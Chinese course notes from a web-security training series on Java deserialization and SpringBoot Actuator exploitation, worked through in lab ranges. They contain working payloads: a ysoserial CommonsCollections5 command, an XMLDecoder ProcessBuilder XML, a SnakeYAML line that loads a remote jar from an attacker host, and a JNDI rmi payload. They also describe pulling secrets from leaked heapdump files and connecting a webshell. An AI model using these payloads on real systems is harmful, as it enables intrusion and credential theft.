小迪安全v2023学习笔记(六十八讲)—— Java安全原生反序列化SpringBoot攻防
文章目录
- 前记
- WEB攻防——第六十八天
- Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
- Java安全 - 反序列化-原生序列化类函数
- 原理
- 检测
- 原生反序列化类函数
- 利用项目
- 靶场演示
- readObject
- XMLDecoder
- SnakeYAML
- Java安全 - SpringBoot框架-泄露&CVE
- 原理
- 检测清单
- 实战发现
- SpringBoot识别
- 黑盒发现(人工识别、BP插件)
- 白盒审计(pom.xml,引用库,设置)
- 泄露安全(配置密码,AK/SK等)
- 泄露安全(利用类,CVE漏洞等)
- 实战案例
前记
- 今天是学习小迪安全的第六十八天,本节课主要讲了关于Java原生反序列化以及针对SpringBoot框架的攻防内容
- 基本是了解工具的使用,实战为主,希望下去复现
- 所有涉及到的工具已经全部打包至下方链接,需要自取:
- https://pan.baidu.com/s/1KMM50vRe85WnTotK4fcMGw
- 提取码:ming
WEB攻防——第六十八天
Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
Java安全 - 反序列化-原生序列化类函数
原理
- 序列化是将Java对象转换为字节流的过程。而反序列化是将字节流转换成Java对象的过程,java反序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为r00AB
- 这里可以简单看一下:
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths; public class Test { public static void main(String[] args) throws IOException { // 反序列化对象 Person person = new Person("ling", 23); Path path = Paths.get("./1.ser"); ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(path)); oos.writeObject(person); oos.close(); // base64编码输出byte[] bytes = Files.readAllBytes(path); String base64 = Base64.encode(bytes); System.out.println(base64);}
} class Person implements Serializable { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; }
}
-
这里会生成一个
1.ser
文件,然后我们把他拿到010-Editor
中看一下:
-
并且控制台也会输出该文件base64编码后的结果,可以看到是我们所说的特征:
-
Java常见的序列化和反序列化的方法有Java原生序列化类和Json类(fastjson、jackson)序列化等
检测
- 黑盒中一般通过流量捕获,根据上述说的特征去判断是否存在序列化与反序列化过程
- 白盒中就根据特定的类方法、接口等去判断,更多是通过一些组件的历史漏洞去打
原生反序列化类函数
- SnakeYaml:完整的
YAML1.1
规范Processor
,支持Java对象的序列化与反序列化- YAML 是一种“对人友好”的数据序列化格式,设计目标是让配置文件、日志、接口描述等易读易写。
- 其文件扩展名通常为
.yaml
或.yml
- 语法特点是用缩进表示层级,用冒号分隔键值,支持列表、字典、多行字符串、锚点等。
server:port: 8080ssl: falsespring:datasource:url: jdbc:mysql://localhost:3306/demousername: rootpassword: secret
- XMLDecoder:
xml
语言格式序列化类函数接口 - ObjectInputStream.readObject():任何类如果想要序列化必须实现
java.io.Serializable
接口
利用项目
- 针对Java原生反序列化的利用,我们有如下三款工具可供使用:
- ysoserial: https://github.com/frohoff/ysoserial
- 最原始的,下面两个都是基于它的
- SerializedPayloadGenerator: https://github.com/NotSoSecure/SerializedPayloadGenerator
- 之前讲过的一个集成化环境,基于
Windows
的.NET
服务,搭建比较麻烦
- 之前讲过的一个集成化环境,基于
- Yakit: https://www.yaklang.com/
- Yakit上的一个插件,图形化界面操作比较简单
靶场演示
readObject
- 造成漏洞的代码如下:
java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
in.readObject();
-
启动我们的JavaSec,然后选择Java反序列化,直接运行它给的
payload
:
-
弹出计算器了,那么这个
payload
怎么来的呢,就是通过上面讲的工具生成的,这里我习惯用Yakit上面的图形化界面:
-
这里就直接勾选利用链里面的
CommonsCollections5
,然后选择win_cmd
执行windows
命令calc
,将生成的payload
放到刚刚的网站也是能成功弹出计算器了 -
这个就类似于命令行执行:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
-
我们还有一个问题,这里的
CommonsCollections5
是什么呢? -
CommonsCollections5 是 ysoserial 内置的一条 反序列化利用链(gadget chain) 的代号。
-
它专门针对 Apache Commons Collections 3.1 – 3.2.1 这个库,利用它的一些关键类构造执行链
-
因为这个代码里面用到了这个库,所以我们才会利用这个命令去生成我们的利用链:
-
其他可以使用的类,可以直接下拉查看:
-
你需要根据它已有的依赖去生成
cc
链,否则是不能成功利用的!
XMLDecoder
- 其实就是把可执行的代码写成合法的
<java>
标签,让服务器解析XML时解析即可,造成漏洞的代码如下:
XMLDecoder decoder = new XMLDecoder(inputStream);
Object o = decoder.readObject();
- 这里的
payload
为:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object></java>
- 意思是调用类
java.lang.ProcessBuilder
,这个类应该有印象吧?就是前面讲RCE时的一个利用类,然后给他传入一个参数值,类型为String
,值为calc
,最后调用这个类的start
方法执行命令
SnakeYAML
SnakeYAML
在反序列化时可以指定 class 类型和构造方法的参数- 结合 JDK 自带的
javax.script.ScriptEngineManager
类,可实现加载远程 jar 包,完成任意代码执行 - 利用的
payload
为:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/evil.jar"]]]
]
- 或者靠JNDI注入来辅助完成攻击:
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp',autoCommit: true
}
- 这里使用第二种
payload
的话,需要注意对方的Jdk
版本以及Tomcat
、SpringBoot
版本
Java安全 - SpringBoot框架-泄露&CVE
原理
- 前期的安全开发课程讲过,
SpringBoot
提供了一个Actuator
模块帮助开发者监控和管理SpringBoot
应用,比如健康检查、审计、指标收集、HTTP跟踪等 - 但是由于配置不当可能会泄露
/actuator
这个路径,当然这个路径泄露不是主要的,主要的是/env
和/heapdump
这些敏感文件
检测清单
- 这个项目是关于
SpringBoot
的一些漏洞检测清单: - LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list
- 上面也包括了Java的一些重要路由,以及其他的漏洞,很全的一个项目
实战发现
SpringBoot识别
- 利用上面清单中的漏洞之前,首先要看是不是
SpringBoot
框架 - 识别的方式基本就以下几种:
-
通过插件识别 -->
Wappalyzer
或者OWASP Kit
-
报错页面:
-
icon图标:
-
黑盒发现(人工识别、BP插件)
-
那怎么发现框架的漏洞呢,黑盒中主要是靠人工识别,或者插件自动识别
-
这里人工就是直接在后面加
/actuator
看看有没有泄露这个东西 -
插件的话就是通过
BP
上的APIKit
去被动检测: https://github.com/API-Security/APIKit/releases -
下载下来之后直接导入即可:
-
当你开启BP代理访问页面时,他就会进行被动识别,比如这里访问靶场:
-
它就自动帮你抓到包了
白盒审计(pom.xml,引用库,设置)
-
在白盒中,就看当前应用是否引用了这个
Actuator
库即可:
-
或者你也可以通过它的一些配置文件(
application.yml
)来看是否开启:
泄露安全(配置密码,AK/SK等)
-
在实战中,如果泄露了
heapdump
文件,那么可以通过工具去解析这个文件,可能会找到一些账号密码、AK/SK信息等 -
这里的话基本不可能自己分析,一般会用到工具:
- JDumpSpider:将所有结果全部打印出来,需要自己一个一个翻
- heapdump_tool: 可以自定义查看的内容
-
比如这里在靶场访问
http://localhost:8891/actuator/heapdump
下载heapdump
文件:
-
然后使用上面的工具进行分析:
-
这里就根据关键字搜索,想搜索什么就搜索什么
泄露安全(利用类,CVE漏洞等)
-
这里主要是识别到为
SpringBoot
框架时,我们也可以直接通过工具去扫它可能存在什么漏洞- SpringBoot-Scan:专门针对SpringBoot的漏洞扫描工具
- SpringBoot
- SpringBootVulExploit:SpringBoot的漏洞利用清单
-
这里仍然以靶场为例,知道是SpingBoot的情况下,直接开扫:
-
这里它会列出哪些路径是存在
actuator
泄露的,当然这里也可以进行漏扫:
-
这里扫到了两个可能存在的漏洞,我们利用的是最后那个Jolokia
-
它需要配合JNDI注入去利用,比如这里我们在本地去开一个JNDI的服务器:
-
然后通过这个
SpringBootExploit
工具去连接:
-
可以看到就成功连接到本地了,然后我们点击JolokiaLogbackRCE利用,我这里是利用失败的,目前不知道原因,但小迪是成功的,会回显这个东西:
-
然后通过冰蝎4.0连接即可
实战案例
-
这里用一个案例来演示一下,首先安装就不用说了,和之前差不多,将数据导入数据库,然后打包运行即可
-
我们登录进去,账号密码为
admin/123456
,这个是一个监控平台 -
看插件我们可以知道它是Java写的,那就可能是
SpringBoot
框架 -
这里我们假设是黑盒测试,什么都不用管,直接BP边抓包边点点点就行了,它自动就帮我们看有没有
actuator
泄露了:
-
然后就看它有没有什么
heapdump
、env
等等,直接看就完了,这里就不测试了